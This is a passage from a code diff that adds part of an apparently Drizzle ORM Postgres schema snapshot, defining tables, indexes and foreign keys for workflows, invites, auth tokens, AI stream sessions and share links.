}, + "workflows_createdBy_users_id_fk": { + "name": "workflows_createdBy_users_id_fk", + "tableFrom": "workflows", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "workflows_agentPageId_pages_id_fk": { + "name": "workflows_agentPageId_pages_id_fk", + "tableFrom": "workflows", + "tableTo": "pages", + "columnsFrom": [ + "agentPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workflows_instructionPageId_pages_id_fk": { + "name": "workflows_instructionPageId_pages_id_fk", + "tableFrom": "workflows", + "tableTo": "pages", + "columnsFrom": [ + "instructionPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_runs": { + "name": "workflow_runs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflowId": { + "name": "workflowId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "sourceTable": { + "name": "sourceTable", + "type": "WorkflowRunSourceTable", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "sourceId": { + "name": "sourceId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "triggerAt": { + "name": "triggerAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "startedAt": { + "name": "startedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "endedAt": { + "name": "endedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "WorkflowRunStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'running'" + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "durationMs": { + "name": "durationMs", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "conversationId": { + "name": "conversationId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "workflow_runs_workflow_started_at_idx": { + "name": "workflow_runs_workflow_started_at_idx", + "columns": [ + { + "expression": "workflowId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "startedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_runs_source_lookup_idx": { + "name": "workflow_runs_source_lookup_idx", + "columns": [ + { + "expression": "sourceTable", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "sourceId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_runs_stuck_run_idx": { + "name": "workflow_runs_stuck_run_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "startedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflow_runs_running_claim_idx": { + "name": "workflow_runs_running_claim_idx", + "columns": [ + { + "expression": "workflowId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"workflow_runs\".\"status\" = 'running'", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_runs_workflowId_workflows_id_fk": { + "name": "workflow_runs_workflowId_workflows_id_fk", + "tableFrom": "workflow_runs", + "tableTo": "workflows", + "columnsFrom": [ + "workflowId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflow_run_steps": { + "name": "workflow_run_steps", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "runId": { + "name": "runId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "toolName": { + "name": "toolName", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "WorkflowRunStepStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'running'" + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "durationMs": { + "name": "durationMs", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "startedAt": { + "name": "startedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "endedAt": { + "name": "endedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "workflow_run_steps_run_position_idx": { + "name": "workflow_run_steps_run_position_idx", + "columns": [ + { + "expression": "runId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflow_run_steps_runId_workflow_runs_id_fk": { + "name": "workflow_run_steps_runId_workflow_runs_id_fk", + "tableFrom": "workflow_run_steps", + "tableTo": "workflow_runs", + "columnsFrom": [ + "runId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.task_triggers": { + "name": "task_triggers", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflowId": { + "name": "workflowId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "taskItemId": { + "name": "taskItemId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "triggerType": { + "name": "triggerType", + "type": "TaskTriggerType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "nextRunAt": { + "name": "nextRunAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastFiredAt": { + "name": "lastFiredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastFireError": { + "name": "lastFireError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isEnabled": { + "name": "isEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "task_triggers_workflow_id_idx": { + "name": "task_triggers_workflow_id_idx", + "columns": [ + { + "expression": "workflowId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_triggers_task_item_id_idx": { + "name": "task_triggers_task_item_id_idx", + "columns": [ + { + "expression": "taskItemId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "task_triggers_enabled_next_run_idx": { + "name": "task_triggers_enabled_next_run_idx", + "columns": [ + { + "expression": "isEnabled", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "nextRunAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "task_triggers_workflowId_workflows_id_fk": { + "name": "task_triggers_workflowId_workflows_id_fk", + "tableFrom": "task_triggers", + "tableTo": "workflows", + "columnsFrom": [ + "workflowId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "task_triggers_taskItemId_task_items_id_fk": { + "name": "task_triggers_taskItemId_task_items_id_fk", + "tableFrom": "task_triggers", + "tableTo": "task_items", + "columnsFrom": [ + "taskItemId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "task_triggers_task_item_trigger_type_key": { + "name": "task_triggers_task_item_trigger_type_key", + "nullsNotDistinct": false, + "columns": [ + "taskItemId", + "triggerType" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.rate_limit_buckets": { + "name": "rate_limit_buckets", + "schema": "", + "columns": { + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "window_start": { + "name": "window_start", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "count": { + "name": "count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "rate_limit_buckets_expires_at_idx": { + "name": "rate_limit_buckets_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": { + "rate_limit_buckets_key_window_start_pk": { + "name": "rate_limit_buckets_key_window_start_pk", + "columns": [ + "key", + "window_start" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.revoked_service_tokens": { + "name": "revoked_service_tokens", + "schema": "", + "columns": { + "jti": { + "name": "jti", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "revoked_at": { + "name": "revoked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "revoked_service_tokens_expires_at_idx": { + "name": "revoked_service_tokens_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.auth_handoff_tokens": { + "name": "auth_handoff_tokens", + "schema": "", + "columns": { + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "auth_handoff_tokens_expires_at_idx": { + "name": "auth_handoff_tokens_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "auth_handoff_tokens_kind_expires_at_idx": { + "name": "auth_handoff_tokens_kind_expires_at_idx", + "columns": [ + { + "expression": "kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": { + "auth_handoff_tokens_token_hash_kind_pk": { + "name": "auth_handoff_tokens_token_hash_kind_pk", + "columns": [ + "token_hash", + "kind" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pending_invites": { + "name": "pending_invites", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "MemberRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "custom_role_id": { + "name": "custom_role_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "invited_by": { + "name": "invited_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "consumed_at": { + "name": "consumed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pending_invites_drive_id_idx": { + "name": "pending_invites_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_invites_email_idx": { + "name": "pending_invites_email_idx", + "columns": [ + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_invites_expires_at_idx": { + "name": "pending_invites_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_invites_custom_role_id_idx": { + "name": "pending_invites_custom_role_id_idx", + "columns": [ + { + "expression": "custom_role_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_invites_active_drive_email_idx": { + "name": "pending_invites_active_drive_email_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"pending_invites\".\"consumed_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "pending_invites_drive_id_drives_id_fk": { + "name": "pending_invites_drive_id_drives_id_fk", + "tableFrom": "pending_invites", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "pending_invites_custom_role_id_drive_roles_id_fk": { + "name": "pending_invites_custom_role_id_drive_roles_id_fk", + "tableFrom": "pending_invites", + "tableTo": "drive_roles", + "columnsFrom": [ + "custom_role_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "pending_invites_invited_by_users_id_fk": { + "name": "pending_invites_invited_by_users_id_fk", + "tableFrom": "pending_invites", + "tableTo": "users", + "columnsFrom": [ + "invited_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "pending_invites_token_hash_unique": { + "name": "pending_invites_token_hash_unique", + "nullsNotDistinct": false, + "columns": [ + "token_hash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pending_page_invites": { + "name": "pending_page_invites", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "invited_by": { + "name": "invited_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "permissions": { + "name": "permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "consumed_at": { + "name": "consumed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pending_page_invites_page_id_idx": { + "name": "pending_page_invites_page_id_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_page_invites_email_idx": { + "name": "pending_page_invites_email_idx", + "columns": [ + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_page_invites_expires_at_idx": { + "name": "pending_page_invites_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_page_invites_active_page_email_idx": { + "name": "pending_page_invites_active_page_email_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"pending_page_invites\".\"consumed_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "pending_page_invites_invited_by_users_id_fk": { + "name": "pending_page_invites_invited_by_users_id_fk", + "tableFrom": "pending_page_invites", + "tableTo": "users", + "columnsFrom": [ + "invited_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "pending_page_invites_page_id_pages_id_fk": { + "name": "pending_page_invites_page_id_pages_id_fk", + "tableFrom": "pending_page_invites", + "tableTo": "pages", + "columnsFrom": [ + "page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "pending_page_invites_token_hash_unique": { + "name": "pending_page_invites_token_hash_unique", + "nullsNotDistinct": false, + "columns": [ + "token_hash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pending_connection_invites": { + "name": "pending_connection_invites", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "invited_by": { + "name": "invited_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "request_message": { + "name": "request_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "consumed_at": { + "name": "consumed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pending_connection_invites_invited_by_idx": { + "name": "pending_connection_invites_invited_by_idx", + "columns": [ + { + "expression": "invited_by", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_connection_invites_email_idx": { + "name": "pending_connection_invites_email_idx", + "columns": [ + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_connection_invites_expires_at_idx": { + "name": "pending_connection_invites_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pending_connection_invites_active_inviter_email_idx": { + "name": "pending_connection_invites_active_inviter_email_idx", + "columns": [ + { + "expression": "invited_by", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"pending_connection_invites\".\"consumed_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "pending_connection_invites_invited_by_users_id_fk": { + "name": "pending_connection_invites_invited_by_users_id_fk", + "tableFrom": "pending_connection_invites", + "tableTo": "users", + "columnsFrom": [ + "invited_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "pending_connection_invites_token_hash_unique": { + "name": "pending_connection_invites_token_hash_unique", + "nullsNotDistinct": false, + "columns": [ + "token_hash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_join_requests": { + "name": "drive_join_requests", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "DriveJoinRequestStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "requestedAt": { + "name": "requestedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + }, + "decidedAt": { + "name": "decidedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "decidedBy": { + "name": "decidedBy", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_join_requests_one_pending_key": { + "name": "drive_join_requests_one_pending_key", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"drive_join_requests\".\"status\" = 'pending'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_join_requests_drive_status_idx": { + "name": "drive_join_requests_drive_status_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_join_requests_user_id_idx": { + "name": "drive_join_requests_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_join_requests_driveId_drives_id_fk": { + "name": "drive_join_requests_driveId_drives_id_fk", + "tableFrom": "drive_join_requests", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_join_requests_userId_users_id_fk": { + "name": "drive_join_requests_userId_users_id_fk", + "tableFrom": "drive_join_requests", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_join_requests_decidedBy_users_id_fk": { + "name": "drive_join_requests_decidedBy_users_id_fk", + "tableFrom": "drive_join_requests", + "tableTo": "users", + "columnsFrom": [ + "decidedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.ai_pending_abort_intents": { + "name": "ai_pending_abort_intents", + "schema": "", + "columns": { + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": { + "ai_pending_abort_intents_conversation_id_user_id_pk": { + "name": "ai_pending_abort_intents_conversation_id_user_id_pk", + "columns": [ + "conversation_id", + "user_id" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.ai_stream_frames": { + "name": "ai_stream_frames", + "schema": "", + "columns": { + "message_id": { + "name": "message_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "from_seq": { + "name": "from_seq", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "frame_count": { + "name": "frame_count", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "frames": { + "name": "frames", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "byte_size": { + "name": "byte_size", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "ai_stream_frames_created_at_idx": { + "name": "ai_stream_frames_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "ai_stream_frames_conversation_id_conversations_id_fk": { + "name": "ai_stream_frames_conversation_id_conversations_id_fk", + "tableFrom": "ai_stream_frames", + "tableTo": "conversations", + "columnsFrom": [ + "conversation_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "ai_stream_frames_message_id_from_seq_pk": { + "name": "ai_stream_frames_message_id_from_seq_pk", + "columns": [ + "message_id", + "from_seq" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.ai_stream_sessions": { + "name": "ai_stream_sessions", + "schema": "", + "columns": { + "message_id": { + "name": "message_id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "channel_id": { + "name": "channel_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "display_name": { + "name": "display_name", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'Someone'" + }, + "browser_session_id": { + "name": "browser_session_id", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'streaming'" + }, + "parts": { + "name": "parts", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "raw_parts_count": { + "name": "raw_parts_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "started_at": { + "name": "started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "last_heartbeat_at": { + "name": "last_heartbeat_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "stream_id": { + "name": "stream_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "abort_requested_at": { + "name": "abort_requested_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "reap_claimed_at": { + "name": "reap_claimed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "ai_stream_sessions_channel_status_idx": { + "name": "ai_stream_sessions_channel_status_idx", + "columns": [ + { + "expression": "channel_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "ai_stream_sessions_conversation_status_idx": { + "name": "ai_stream_sessions_conversation_status_idx", + "columns": [ + { + "expression": "conversation_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "ai_stream_sessions_user_status_idx": { + "name": "ai_stream_sessions_user_status_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "ai_stream_sessions_stream_id_idx": { + "name": "ai_stream_sessions_stream_id_idx", + "columns": [ + { + "expression": "stream_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "ai_stream_sessions_conversation_id_conversations_id_fk": { + "name": "ai_stream_sessions_conversation_id_conversations_id_fk", + "tableFrom": "ai_stream_sessions", + "tableTo": "conversations", + "columnsFrom": [ + "conversation_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_share_links": { + "name": "drive_share_links", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "token": { + "name": "token", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "MemberRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + 